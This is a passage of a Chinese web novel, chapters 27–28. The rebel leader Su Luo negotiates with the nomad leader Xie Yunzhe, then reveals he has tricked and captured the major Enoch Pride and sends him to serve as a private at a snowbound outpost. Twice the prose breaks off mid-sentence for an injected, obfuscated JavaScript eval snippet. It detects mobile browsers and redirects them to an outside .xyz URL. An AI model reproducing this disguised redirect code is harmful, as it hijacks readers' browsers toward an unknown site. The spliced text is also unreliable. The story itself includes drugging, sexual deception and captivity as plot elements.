“你这坏毛病怎么总是改不掉啊,嗯?”
闻言苏霆微不可见地啧了一声,老老实实复述全部。
“在下不日将登门拜访,收取尾款和新的预定金。另,希望这次准备的额外赠礼能让您满意。期待见面,我未来的大哥。”
对此事缺乏线索,谢云哲插不进话,还是为他添茶的季宇飞贴心补充道。
“发讯的是弗雷泽·普莱德,那位少校名义上的兄长,也是目前在黑||市和暗环区手握最多资金的帮派‘阿米巴’的创始人。”
仿佛是故意为之,季宇飞瞟了苏霆一眼特地补充道。
“噢,还有,他也是追求了我们苏罗少爷一年之久的前婚约者,不过一直没成功也没说要放弃呢。”
这点深感震惊的谢云哲当然听得出来。
都直接喊苏霆‘大哥’了,看来是相当有自信,默认自己最终定会抱得佳人归。
视线在三人间打转,谢云哲最后与眉头深皱的苏霆意外对上眼。
许是所谓的血缘感应,又可能是他们底色相似,总之,他瞬间读懂对方的苦恼,也确认了一件事。
那位即将来访的弗雷泽·普莱德,恐怕是比某少校更棘手,更难缠,也更招人厌的存在。
27.元首的蓝宝石27
关于不速之客弗雷泽的议论并没有持续多久。
有季宇飞牵头,苏霆做补充,今日以领袖角色出席的谢云哲和他们展开一轮氛围和谐的洽谈。
主题有三个。
第一,以谢云哲作为总负责人为前提,斯卡蒂愿意接收他领导的游民,提他们供居所身份以及工作,保障其享有和本地居民一样的权利,并承担相同的义务。
第二点建立在第一条之上,以互惠共赢为目标,今后双方将视作一体行动。
比如必要时会将原游民编入军队或其他官方机构,并要求他们保持绝对的忠诚。
至于第三点,那就涉及到含有争议的内容了。
交涉切入关键,苏罗总算肯放开点心盘,擦掉嘴角的饼干碎。
他再次掏出那串金属链。
“这是记录了三百八十二年前空间门原型物的构造图,同时也是它的碎片。”
他又复述一遍伊诺克·普莱德的说辞,很随意地将东西丢回给谢云哲笑道。
“很遗憾,我们刚做完扫描和所有检查,发现这只是一块普通的合金,成分也全是常见元素。”
听到这谢云哲垂下头,一时无言。
人们常说诱惑是最可怕的试炼,所以在不少传说与史诗故事中,邪魔总是以最美好的面貌现身,或拿着人类急求的事物作饵。
如今亲身经历一遭,他由衷感慨最可怕的不该是魔鬼。
应该是本就心怀渴望与贪图,却无力与之抗争的人自己。
现在回想起来,他的急切接受完全不像他平时的作风。
他甚至都没想到先确定真假。
将青年懊恼的模样收入眼底,苏霆动了动唇,打破沉默道。
“但普莱德家族掌握着旧时代的机密档案,他们持有箱体研究的记录一事并不假。”
“另外,我们还是落后过去,尤其是血红王在位时的太多,所以也不能完全咬死这枚碎片是废品。”季宇飞适时接茬,“目前只能确定,凭我们的技术还无法找到正确使用它的方法。”
自认是个门外汉,谢云哲不好做评价,可他对‘差距’是最敏感的。
在他看来,如今的北军已有压制其余辖区,甚至在首都中央兵之上的实力。
如果连他们都无法破解‘箱’的秘密,那游民一方想靠自己制造出跨越空间的大门又谈何容易?
差不多是时候了。
他暗忖道,控制着呼吸。
谈判实际是一种实力较量,是彼此在一条独木板上争夺空间。
双方不能都掉下去,同时又想方设法在维持平衡之际多占几步。
若其中一方拿不出底气,藏住弱势与缺陷,这张摆满点心热茶的桌上,他们口中的公正平等只能沦为奶油点缀,变得轻易垮塌,为人吞食。
“非常感谢在座各位为我解惑,但是,我仍有一个疑问。”
他开口,环视一圈最后停在好整以暇回望他的苏罗身上。
“就我个人而言,我十分乐意与诸位合作。但我清楚,我的人民当中,有相当多的一部分不愿改变诉求。这已经是代代相传,根深蒂固的理念。”
甚至,已经成为了信仰。
原本就是来自各地的被放逐者,失去居所的他们只能将各自的祖先、习俗、所传承的文化抓在手中。
若不然,他们将会失去与人类这一种属的关联,成了为吃喝拉撒睡牵挂,随环境变化而迁徙的禽类。
而这份归属感带来的安全感,在逐年累月的漂泊和失去中疯狂膨胀,也取代着其余事物在心间的意义。
可是脚下的土地并不欢迎他们。
所以,在人群中流传的‘通过箱就能抵达另一个全新世界’的声浪日渐增强,渐渐与那份归属感融为一体。
时间来到当下,奥古斯·普莱德宣令要给跳虫游民设置通行券,开放相应的留居区域,群体中察觉此举用心险恶的人,譬如说他,即刻像野鹿嗅到猎食者的獠牙腥臭,大脑发出逃或战的讯号。
“尽管没有百分百的把握,但我可以再尝试说服他们。只是,我不会拿自己与他们的未来下注。再也不会了。”
向声音里注入权威后,他仓促一笑道。
“毕竟,别说头等舱了,大部分时间有的乘客连车票都抢不到,您觉得呢。”
话音刚落,谢云哲便生出一丝悔意。
自己竟谨慎到悲观的地步,还化用了伊诺克·普莱德的理念。
可在他的视角,见证匪夷所思的起落,会产生这样的想法合情合理。
生命本来就是不平等的。
物与物之间是区别,同类之间是差异,所有生命瓜分着现有资源,形成逐阶往上的强弱食物链。
只有跟‘死亡’一样宽阔也无情的存在才会对万物一视同仁。
“没错,世道就是如此。”
强有力的声音与谢云哲脑海中的思绪重合,也渐渐和白天在冰雕庭院,伊诺克·普莱德的慷慨陈词相接。
“兔子吃草,熊吃兔子,能造枪的猎人能把它们全部顿成一锅汤。”
“所以不管你们逃到哪里,最后都会变成这样,变成可有可无的佐料。”
虽有预料,当对方亲口说出鄙弃之言时,谢云哲难免心中一刺,怕冷的身体凉了半边。
即便如此,他也没移开目光。
他从那含笑的双眼里看到磅礴的野心,也有比伊诺克之流强盛数倍的高高在上,无尽贪婪。
可是,他并不抵触。
不,准确地说,是凭他的眼界完全看不到这双眼睛所注视的领域边界,也因此无法再作评判。
“归根结底,会形成这样的定律只不过是因为你们太无能了,全部都是。”
果然,剥掉伪装外壳的‘小少爷’杀伤力一骑绝尘,张口就炮轰着全世界。
他拿叉子戳进蛋糕,粗鲁地拆分夹心。
这倒是他从始至终都没掩饰的习惯——从不按贵族礼仪就餐。
“等草长不成,兔子全死绝,熊跟猎人互相捕杀吃尽,最终的赢家还是不变。看着你们笑得合不拢嘴,拍手叫好。”
念着闲扯一样的说词,苏罗挑起一口奶油,银叉却先指向静等后话的谢云哲。
“是‘天’啊,小首领。天要你死,你不得不死。大元帅?星际海盗?持枪的士兵?不不不,这些玩意儿虽然可以成为历史,但终究上不了世界的赌桌。他们之所以有威慑力,是因为你们让他们变得可畏惧。”
考验联想和阅读理解的时候又到了。
然而此时的谢云哲要比昨天幸运。
没有威胁,没有诱骗,他的出题人同时也是他的考生,双方正进行一场同坐桌边的沟通。
他甚至确信,哪怕他也耍一回脾气拍桌走人,他不会因此受到迫害。
就像最初就送给他的欢迎语。
旅客也好,故人也罢,只要真心到访便全盘接纳……
“特莫伊。”谢云哲开口轻声道,“我记得,这在一种旧编语言中是叛乱的意思。但您看起来,似乎并未把普莱德大元帅放在眼里,请问我今天能问到您的答案吗?您到底在同什么作战。”
自此,苏罗终于把那口奶油送进嘴里。
“不急,你还走不了呢。”他意有所指看向对方上衣口袋,那里放着他让季宇飞给对方的特殊指环,同时也是这所基地的通行证。
“你现在是我的贴身侍者,试用期没过,你跟那个粗神经的小不点还想跑?起码得提前三天通知我。”
就着懒洋洋的腔调,他像午觉刚醒的大野猫打个哈欠,噙着水雾的双眼依旧机警。
“噢,但我是不会放行的。做好跟我打官司的准备吧。”
野猫又飞跳过来‘踩’了一脚。
谢云哲闻言不由得笑出声,坐着低头鞠躬。
“那,请容我再跟随服侍您一段时间了,感谢您的收留。”
他明白,这是专属他这名贵客的礼遇。
给予他充分的时间,光明正大地考量,然后再做决定。
面对这种‘傲慢’,谢云哲一点不觉得窒息或刺眼。
他们不担心他趁机泄密牟利,更不怕他未来会分道扬镳,变强崛起。
因为在他们,尤其是最独特的领袖眼里,不管其余势力是强是弱如何演变,他永远会征服全地,霸榜第一。
征服不为利益与感情,是为证明自己拥有掌握的实力,比任何一个人都合适踏平世界。
其中又夹带着一种幼稚恶趣味。
大概比起所有人丧失自我顺从,死气沉沉的局面,这位‘小少爷’更乐于看到群雄逐鹿的局面。
良性的斗争淘汰会让种族更富生命力,不定向的异变差距能造就更稳固的生态。此为自然界孜孜不倦教诲的真理。
同时,也是露出犬牙发笑,眼神似火球明亮的青年践行的理念。
“这句感谢我收了。从今往后你给我能说少说,我可不想它贬值。”苏罗敲敲桌面,笑道,“走吧,快到晚饭时间了,我饿了。”
“是,悉听尊便。”
谢云哲点头报以微笑。
这还是他成为领袖以来最欢欣鼓舞的一场谈判。
虽然耗费四小时却没敲定任何一项事宜,但结果让双方都很满意。
具体有多满意呢?
“毫不夸张的说,这是一场前所未有的‘酣战’呢,母亲。”
“我还是第一次在床|上遇到身体如此与我契合的人,虽然他缺乏经验,但就胜在稚嫩又充满激情,简直是在复原旧时的结|合|热特质,从头到脚,每一根头发丝都在勾|引人。”
仿佛是刚结束一顿美餐,只着浴袍的红发男人声音微弱但振奋,竭力推荐自己发现的新菜式。
听完他的热情介绍,屏幕上的交谈对象——莫娜夫人不禁笑道。
“这倒是出乎我意料,我还以为你会选择另一个,或是两个都收下。你什么时候胃口变小——”
“瞧你说的,母亲。我日后好歹是要正式成婚成家的人,怎么能刚开始就三心二意。”
急切出言打断,眼神闪躲几秒,当下伊诺克·普莱德的反应就如一个真正坠入情网,却又不愿承认的别扭浪子。
他拉拢衣领的动作甚至让他看起来纯情了一点。
“您这次给的药也算是误打误撞,诱导出真正的发|情|期,我估计没有个六七天不会停,得看那位小少爷之后的状态。但您别担心,我会让手下的人稳住苏霆那边。”
“六七天么……伊诺,你这是准备当父亲了?”
母亲的打趣令伊诺克嘴角轻抽,他神情不自然地低下头。
深吸气思索着,他忽然一震,像忘性大的演员终于记起台词说道。
“是的,母亲,我想多留一段时间,认真处理好这段关系。这样刚好能增加我诚心联姻的说服力。”
“可是,你——”
“您也是知道的,他们对我们敌意很大。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14398050|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如果我太早离开,他们恐怕又会认为我是玩一玩而已。”
仿佛生怕会遭到反对,他着急忙慌抢话,连嘴里吃进一根红发都没察觉到。
“而且结合后的omega对alpha会产生依赖情绪,不管这次有没有成功让人受|孕,我作为标记者都要陪在洛洛身边。”
“我……我想陪在他身边,就像父亲对您那样、不、不离不弃、从一而终。”
说惯由虚情编织的爱语,此刻红发男人演绎的模样就如同课堂上的学生。
他被叫起来当众背诵课文,可选中的却刚好是他不熟练的片段,因此才磕磕巴巴,羞愧难当。
不过无论某人多么油嘴滑舌,总会有一段稚嫩又可爱的年幼时光。
如今看着这样的伊诺克·普莱德,他身边最有资格怀念的人——他的母亲莫娜无疑软化了眼神。
似乎在这意想不到的转折里,她还看见自己的儿子正走向另一条路。
那是她原本寄予厚望,后又因为现实落差而渐渐放弃的道路。
“既然如此,你就负起责任吧。我相信你会成为比你父亲更优秀的大元帅。”莫娜收起怀念的神色,带着点揶揄催促道,“这时候把你叫出卧室是我欠考虑了,你赶紧回到那孩子身边吧,记得准备些补充液,别累垮人家。”
“是,多谢母亲您教诲,还有,父亲那也托您帮我问候一声。”
“放心吧,我等下就去见他了。你记得照顾好自己。”
以此结束交谈,莫娜主动切断通讯。
但其实,只要她再多留意一点,交谈时间再长久些,她或许就能发现‘谎言’的这块蒙头布暴|露的线条。
就比如伊诺克微白的唇色,中途飘忽的眼神,还有他无比干净,除了胸口淤青、头上肿包就无一丝欢|爱痕迹的身体。
通讯器的屏幕暗下,倒映着他不安与愤怒交织的脸庞。
“这样、可以了吧。”他咬牙切齿地质问对面。
那边既不是空气,也不是母亲的虚像。
而是翘脚坐在椅中,食指转动他军帽,笑得像个恶霸的叛军之首。
整整半个月对他示好,向他亲近,为他茶饭不思又欣喜若狂,仿佛这一生非他不可的小少爷苏洛。
现在该叫苏罗了。
“当然可以啦,伊诺克阁下。你的说谎能力是大众公认的尖端水准呢,比你扫兴的前|戏技术绝妙太多。”
若非真实发生,伊诺克很难相信,这个贬损他的青年和不久前才勾住他脖颈,缠着他的腰胯,双眼含情面含春将他带上床的人是同一个。
并且,也是能一击放倒他,又带着一伙野兽士兵出现在他眼前的怪物。
那十二人一字排开靠墙站立,手边没有任何武器。
但他们睥睨着前方,眼珠浑圆而清澈,每一双都如同狮群领袖的眼眸,天然透着凶狠和坚毅。
同他们相比,以魔鬼训练栽培而出名的首都精锐简直就是虚张声势的小猫崽。
这十二个家伙以一敌十,不、以一敌百都有可能。
“我的人呢,你们把他们怎么样了。”
都自身难保了,伊诺克·普莱德还是不死心地追问。
如果不是刚醒来时全身都被扒光了,他肯定会找机会反扑。
看来他倒也不是完全的军事废物,明白‘人质’的安危才是今后交易的关键。
岂料苏罗前倾几分,完全是一副爱弄哭玩伴的坏小子嘴脸。
“哎呀,你放心,他们好着呢。你也马上就能去见他们啦,高兴吗?”
“……”
伊诺克顿时愣住,脸色在沉默中愈发苍白。
但他还是不相信这群蝇营狗苟胆敢威胁他,背叛他的父亲。
那就相当于跟十个总管辖区作对啊!
靠椅上,苏罗对神情板滞的男人笑得前仰后合,而他果然要比坏小子刁钻多了。
笑够的他起身,将漆黑银边的帽子反扣到自己头顶。
全场只有他没着军装,一抬手的动作却有绝对的支配魄力。
“我猜,少校您逗留了半个月,应该也玩腻我们的小小斯卡蒂了。我思来想去,终于给你物色到了一个最适合的终点站。”
随着他的话音,左右各走出一名士兵。
其中一员拿出叠好的衣物,正是北军基地里列兵的土黄制服。
察觉其意图,尊为少校的红发男人脸彻底黑了。
“你!你凭什么——”
他的叱问声变成一团棉花堵住喉咙。
都怪那半个月里毫无破绽的演技,现在他仍潜意识将‘怪物’与那性子简单,身姿娇柔的omega小少爷联想在一起。
所以,当拥有淫|靡之色的青年收敛笑意,龇牙瞪眼时,他就像被魔鬼欺骗的良民,在对方暴|露原貌后一味地颤栗。
“您曾说,人生来就是不平等的,头等舱的位置也在一开始就订好了价格。但您怎么敢认定,您就能一直是人上人,坐的是贵宾席?”
“你怕不是忘记了,车最初也是人设计并创造出来的,货币的概念也是由人构建流通起来。而不是哪位神揉了揉石块泥巴,丢到人间赏给你们的。”
怪物吐出人言,掰正军帽,不屑于看着他说完,而是如唱歌一般悠悠拐出门口,只留下令他火冒三丈的嘲弄。
“现在来到全新的,也是最适合你的位置,那我便祝你——新的一天将阳光灿烂,笑容常在呢,杂兵伊诺克。”
28.元首的蓝宝石28
如同粉匠刷上新漆,全年寒冬的斯卡蒂迎来了一年一度的回暖阶段。
从破晓时起,无垠雪地就披上了一层明艳,宁静,金桔色的暖阳。
这抹阳光和谢云哲同样提前来临,无需再为山脉间游荡的寒潮担忧。
它唯一需要顾虑的,就是那方向多变、盛气凌人的强风。
早晨七点,中等的东南风由费兰镇方向进发,将红屋顶端解冻的风向标吹得吱呀直响。
就像突然旋转起来的金属仪,谢云哲也被拉入全新的日程。
七点整,用餐结束的苏罗准时踹开门。
从二楼餐厅走到另一端只需一分钟脚程,过道铺着红金双色花型地毯,做工精巧得足以列入博物馆供人瞻仰。
某群访客一早就候在门外,却无心观赏。
这些干事包括季宇飞,一见到苏罗便有序排开,紧紧跟在他后方。
多了一串‘尾巴’并不影响苏罗举步如飞,继续盯着前方发话。
“昨天哈曼特镇发讯说东南角的老木桥晃动了,让建筑组的利奥带一小队人过去看看,尽快决定要翻修还是新建。”
“新建的话直接联系伯德,他刚组织过工程队,手头还有上一次在卡达郡用过的桥梁设计图。”
“昨晚费迪南德上交的新运输表我调整过,你们拿回去先测试几遍,记住,主要顾虑运线周边的住户,新房区竣工前他们起码还要留住半年,而且里面有三名独居老人,其中两人是不愿搬迁的。”
“这个月佩佩郡生病的孩子比较多,症状也相似,组织人专门去慰问一下,顺便查明原因,有任何异常都立即上报。如果不见好转就联系疗养中心,给他们安排转院……”
阳光透过华丽彩窗倾泻而入,整条走廊上只回荡着他一人的声音。
就像他无需回头确认,他身后的部下默默点头,现场记住他的每道指示,只有在汇报时才会出声。
清晰,简洁,直切要点,免掉一切繁冗的交际规则,只剩下决策和成绩本身。
这样的交互再次令谢云哲深感诧异。
一分钟,七十五步,十六道事项已经全部敲定。
临了开门前,苏罗才刹住脚转身。
他指出人群中的季宇飞问。
“哦对了,海曼是不是快生产了?”
季宇飞立即应道:“是的,昨天他已经住进我们这边的疗养中心。”
闻言苏罗摩挲下巴,数秒后拿好主意。
“以我的名义再叫西奥多送点营养品过去吧,他和戴利的婚礼请我做证婚人,结果我呆了半小时就走了,怪过意不去的。”
“是,我马上通知,他们一定会很高兴的。”
季宇飞微笑接话,其余六人也同时鞠躬应声,随后步履坚实地离去。
自此,这场深深震撼新跟班的‘红毯办公’圆满画上一个句号。
但一如这份久久未散的惊奇,今日紧凑到吓人的行程仅仅是开端。
接下来的两个小时在红屋过目哨站报告,九点十分出发前,依次前往各镇洽谈。
这之后是与一队地质勘查员汇合,前往各处高危地段巡查,判断是否需要维护。
新一轮工作部署完毕,又马不停蹄地赶往旧基地,在会议室和刚才分开的干事们碰面,当场对接早晨分配下的工作。
全程同行,只负责旁听,谢云哲就已被繁重的工作量压到头晕两耳嗡鸣。
往往他还在理解上一条指令,桌前神色严肃的白衣青年就已说完后三条,并跟旁人确定好细节。
如此事无巨细,事必躬亲,实在叫他叹为观止。
而当他得知那全员演戏的半个月里,苏罗一样持续着高强度的工作,不过是把自己的时间压缩到深夜,次日早晨再由季宇飞传达出去,他彻底傻眼。
“难怪那段时间……”
难怪,那段时间‘苏洛小少爷’赖床成性,懒到每天衣服都要别人帮忙换,早饭也要人喂。
作为那名投喂换衣的侍者,如今谢云哲干的还是一样的差事。
甚至,连听到的不满批语都完全一致。
“不要蓝色的那块,先拿红色的给我。”
“蜂蜜多加一点,不然完全没有味道,你想淡死我吗?”
“蠢货,你毯子叠成这样是想让我披上跳个舞给你看吗,我是来午睡的!”
……
直到挂钟于十二点敲响,穿插在工作中的叱责才因为苏罗闭上双眼而结束。
可就算是午休,他的姿势也和常人不同。
抱着双臂,靠着躺椅,将椅背调到六十度,仿佛随时准备跳起来迎战的守夜人,连毛毯也是像围巾一样随性塞在领口,毫无惬意可言。
同样吃完午饭,谢云哲在沙发客座上拘束着,动也不敢动。
但他的眼睛倒是实诚,一直盯着呼出微弱鼾声的青年。
怀抱午后要用的资料,季宇飞推门就见‘苏霆二号’坐姿板正,整个上身都快挺成直线了。
他进门轻轻带上门,莞尔道。
“您也放松一会儿吧,谢先生,在这里不用这样担惊受怕的。”
“啊,我还好。”谢云哲回过神,声音压得比对方还低,“倒是季先生您,您需要休息吗?我可以帮您看着。”
这应接不暇的半天里,他充其量是个蹭车的闲人,真正忙碌的当属眼前两位主心骨,好像一直在长鞭下旋转的陀螺,就没有松懈的时候。
季宇飞摇头道谢,放下东西又走向茶台。
“或许在您看来很奇怪,但是,能像现在从早到晚连轴转,我们开心极了。真的恨不得天天加班呢。”
话语掺着玩笑,可男人一侧上扬的嘴角又透露着真实喜色。
如今掌握的背景比过去明朗,谢云哲很快领会其意,微微颔首。
“你们真是让我自愧不如。”
上下一体全副心思投入到民生,所有人都将自己的所长发挥到极致,也从成果中获得巨大的满足感。
仿佛少了没必要的勾心斗角,利益纠纷,拖垮个人蜕变的累赘也全数坠落,让他们尽情翱翔。
“那自然是因为,我们有一个蛮不讲理的指引人啊。”泡茶的季宇飞暂告工作状态,风趣腔调增加两度,“不由分说地闯进来,为所欲为地按住我们脑袋又踹翻乱跑的胆小鬼,把我们赶来赶去。”
“但是,他给你们指明了方向。”谢云哲接话,一贯地鞭辟入里,“也让你们靠自己的双手争取幸福。”
把对未来和未知的恐慌在自己手中就斩断抓住,绝不分摊给更下面的‘全体弱者’。
把对得失和存亡的顾虑在自己眼中就判明主次,绝不让阴影附加给更多的‘大笨蛋们’。
还有能比这更匪夷所思的霸权吗?
“这可是我们的‘暴君’对我们唯一索取的东西啊,我们总得把他喂饱饱的,免得他下次连我们也吃进去吧。”
参谋长拿着小铜勺转头,手像音乐会中场受旋律感染的欢快听众拨弄。
“不图财不图色也不要子嗣,哎呀——伴君如伴虎,王的心思真是难猜啊。”
“猜我想喝什么你倒是很懂。”
突兀响起的话音令谢云哲打了一个激灵,嚼舌根的参谋长反倒笑靥如常地问候。
“您醒了啊,小少爷。”
躺椅上,苏罗扯掉毛毯坐直。
转动脖子哼哼几声,他又和午睡前一样神采飞扬。
起身灌下整杯浓到发黑的特质饮料,他叉腰抹嘴,露出一个像是恶兽在摩拳擦掌的笑。
“好,准备出发去墙外哨站,顺道看一看我们前少校过得如何。”
全新的一天,伊诺克·普莱德如坠地狱。
他被安排在狭窄的单间宿舍,硬邦邦的铁床就比他人宽一点,躺着多翻半圈就会摔到地面。
建筑里有集中供暖系统,可他彻夜蜷在粗制薄毯下,双眼望着漆黑角落,根本睡不着。
无尽寒凉挤占心房,令他颤抖不止。
天刚放亮,一阵刺耳铃声就把浑浑噩噩的他硬拉下床。
昨天他被叮嘱过,如果不及时起来,那自己那份早餐就别想要了。
磨蹭着穿上列兵制服,他在心中骂出今天的第一声可恶。
在陌生又朴素的过道里穿行,第二声‘可恶’完成使命。
当他来到聚集着几十人的餐厅,端着一人份的,完全没眼看的糟糕‘猪食’,他的牙关锁不住心声了。
“该死的,一群瞧不起人的混蛋……”
其实放眼望去空位很多,那些用餐的士兵也十分专注,完全没有理会他这个无所适从,一脸菜色的新兵。
甚至在他坐下,面对在他看来粗制难咽的早餐时,一个穿着相同制服的青年还主动搭话,隔着两张桌子对他笑。
“今天是幸运日啊,竟然有超好吃的牛奶点心哎!你快点吃啊,不然等下集合会赶不上的。”
幸运日?
伊诺克快气笑了。
“既然你这么爱吃,那我的你也拿去啊。”
可像没听出他语气里的激愤,对方看着他蓦然瞪大双眼,手撑桌面竟然直接翻跳到他面前。
“真的吗?太感谢你了!你简直是点心天使,那我不客气了嗷!”
说罢圆脸褐发的青年就把魔爪伸向餐盘。
通宵加脑袋还隐隐作痛,伊诺克愣是看人抓走一半方形白面包才回过神。
“喂!你干什么——”
“呜、呜呜!”
青年狼吞虎咽来不及咀嚼,只把食物堆到口腔一侧,鼓着腮帮子说道。
“你记得动作快点,我先去集合地啦,今天是哈里斯队长值班,他可严格了。”
看着他风风火火又翻过几排桌子,像头高角羚羊转眼消失在门口,伊诺克闭眼深深吸气。
“去他的!”
他的第三声也顺利结束。
与北军基地相隔一片树林,位于两座山丘中间的南哨站,这就是现在困住他的‘监狱’。
站内总计一百六十九人,他们日常分成七队,每天在附近巡逻并收放某种迷你侦察机。
刚来就被安排了最累的林间巡查,他被迫穿上厚重的白色外套,搭配的全包头盔怎么也戴不好。
锁扣总是错位,下半部分的坚硬面罩硌着颧骨与鼻梁,宛如一张无情大手捂住他的口鼻,逼他无法呼吸。
他那头精心保养的火红长发成了阻碍,无论是披散还是束起,盘绕着脖颈都像一根绞绳。
谁会安心把脑袋塞进绞绳里?
与头盔纠缠几百回合,他动作愈发急躁,耐心一点点被磨灭殆尽。
当鼻息在上唇蓄起湿漉漉的水雾,他再也忍不住将头盔一摘,高高举起。
“动作悠着点,首都来的小王子,这个防护头盔一人一个暂时没有备份。可如果你就是想今天刚出去就吐血到死,那我没意见。”
低沉声音敲响警钟,伊诺克顿住,警惕地侧过身。
突然出现的金发男人双手抱臂,斜靠着深绿色的门框,正面无表情地盯着他。
尤金·哈里斯,这所南哨站的总管兼第一巡逻队的队长。
也是昨天将他绑回来的人之一。
“怎么,这样看着我,是也想我伺候您吗?”
尤金咧嘴,表情里却找不到笑的成分,而随着身体慢慢摆正,他眼中蠢蠢欲动的戾气愈发明显了。
不过对于眼前这个花架子,他拿出一成的杀意都是多余。
“还有两分钟,你自己出来或者我拧断你的头提出来,选一个吧,尊敬的伊诺克少校。”
如果此时有哪位老朋友在场,估计就要大笑着跟他拍肩互相推搡,称赞他越来越有某人的样子了。
而打量着他充满野性的脸庞,伊诺克强压火气,认命把头盔戴好。
但护目镜下,他眼里的鄙夷与厌恶不减反增。
他伊诺克·普莱德何时有过如此待遇,竟被一个没有正经官位的区区下士踩着脑袋发号施令。
这要比巡礼那日他遭受的冷眼更难接受,起码当时还是苏霆带头针对他,而且……
经过快一天的浑浑噩噩,少校如大梦初醒,平常的分析力重回高地。
全部,都是圈套。
从与弗雷泽那个贱|种解除婚约,营造‘苏洛’疯狂痴迷他的假象开始,这个阴险的套索就悬在他跟前,等着他把脖子自己伸进来了。
这群无耻混蛋到底要干什么?
脑中闪过的疑问他已思索不下百遍,遗憾无论是清醒还是混沌,他都找不出合理答案。
然而,有一点他深信不疑。
他们在羞辱、轻慢于他,胆大包天地把他这个高贵的元帅继承人拽下地面。
不知第几次在雪林里趔趄,抱住树干才稳住重心,伊诺克在内心怒吼,重复着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412122|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一句狠话。
绝不可饶恕!
怨气刚积累一半,他就被人猛拍后背。
“哇——好大啊,喂、你看,那个是不是超级大!好厉害!你看你看!”
早上抢他饭的新兵不知在高兴什么,压着声音欢呼,把气息不畅的他差点锤吐血。
等他嫌弃地躲开魔爪,又为眼前的景象愣住。
五十步开外,一头体型庞大的白色野兽正嗅探着地面上的枯枝。
它目测两人多高,有着熊科动物健壮而粗|大的四肢,额面上的漆黑纹路远看好似一个张开血盆大口的怪脸,怪诞无比。
“是普里泽兽,天气转暖它结束冬眠,现在出来找吃的了。让它自己走开就好,别激怒它。”
一名老队员在左后方做出解释。
生平第一次近距离观看这种野兽,还是无任何铁栅阻挡的情况下,年轻少校的心猛颤几秒。
他手边没有武器,在雪地又寸步难行,还能有比这更糟糕的事态吗?
事实证明,有的。
在这片雪域,普里泽兽是毋庸置疑的原住民。
拥有超强嗅觉的它连几百米外的蚁穴都能捕捉到,何况几个鬼鬼祟祟的人类。
它止步,转过脸,上下两双分不清真假的眼睛直勾勾锁定巡逻队所在的陡坡。
一段长久的对视后,它踏出两步忽然蹲坐。
这举动完全出乎伊诺克意料,也想不出相应对策。
好在他有所行动前,后方的老队员及时出声。
“别动,它盯上我们了。”
一瞬间,伊诺克·普莱德全身的血因寒冷以外的东西凝滞。
甜言蜜语无法让野兽投降,人的身躯也只能当作食饵。
混迹情场多于战场猎场,如今是他面对‘超纲题’而脑中一片白。
就在这时,同行的‘考生’又说出令他难以置信的话。
“只要它跨过坡线,你们就下去围住它,至少三个人在前,其余人绕后。”
质疑瞬间填满伊诺克的大脑。
他算俘虏不给他发武器就罢了,其他巡逻兵居然也只带着几根棍子长绳,形同赤手空拳。
这样下去和能一掌劈开颅骨的生物对战,不要命了吗?!
“唔!它动了!”
暗藏亢奋的声音同一阵劲风闪过,伊诺克转动脖颈,脱口而出。
“喂!你去干什么!”
只见雪坡上,那名神经大条的新兵侧着身体,整个人如一块滑板飞速前进。
说不清是他先出手惊动了野兽,还是野兽的进攻征兆被他察觉,总之等其余人反应过来时,两者已经交汇了。
借助惯性,青年从庞然大物的身下滑过,右手已然抽出绳索。
虽然慢了他几分,后方队员也已进入战斗状态。
“翻滚!后蹬!”
第二沿坡抵达的尤金高喝道。
普里泽兽看似笨拙,可却不是人类当中只会使用蛮力的莽夫。
它的右后肢像起重机的吊臂一抬一踹,无论瞄准哪都能让那名小兵伤得够呛。
青年抱头及时翻滚,他原来的位置则被踏平,陷下十公分深的凹坑。
它咆哮,震落一片枝头银霜,藏在纹路下的真眼透出世间最凶恶的眼神。
那让其他生物知道,它饿了。
它要以其他生物的血肉死亡充饥,这是它唯一遵从的法则。
“吼——”
狂嗥声像一个嗓子损坏的男人嘶叫,余波是低沉的喉音震动,是不同于枪鸣的恫吓。
仿佛仅靠声音,它就能将人撕成碎片。
队伍里三人在前吸引它的注意,四人在后辅助,试图用绳子将它放倒。
全队唯独伊诺克一个没有动作,继续他局外人的旁观态度。
此地属于北境墙外,如果敢拼一下的话,他或许能趁机逃走,跑到另一座山求救。
到时候,他就能让父亲派兵来将这夷为平地,为他报仇泄愤。
这个念头不止一次闪过脑海,可他仍旧抱紧树干,双脚像冻住一样定在雪里。
他被下方的特殊对战制住了心神,逐渐投入而不自知。
但是,击溃他的魔鬼声音再次出现了。
“能就这样不跑,还算你有点骨气。”
伊诺克身子一歪,骤然脱力扑倒。
像是跌入无尽的噩梦循环,他和昨天一样,就只能仰望那名青年走过眼前,不屑于分给他目光。
对方踩上坡顶,没戴头盔没穿防冻服,单手叉腰俯瞰着战况。
视线于山坡扫到远处密林,再延向更深的腹地,他似乎确认了什么,点头自语。
“噢,什么嘛,原来是被冰锥砸醒的小鬼头,那吓回去就好了。”
惊惧交加的少校尚未消化完这话,就见对方缓缓低头,向前再垮了一步。
他只注视着白色的巨兽,正如对方也停止扑咬,锁定身披雪白斗篷的他。
“这边是我的地盘,你——回去怎样?”
人与兽理应无法靠语言交流,何况他们之间也没有谁饲养谁的亲密关系,能产生跨越物种的情谊。
但世间似乎从来不缺反常怪事。
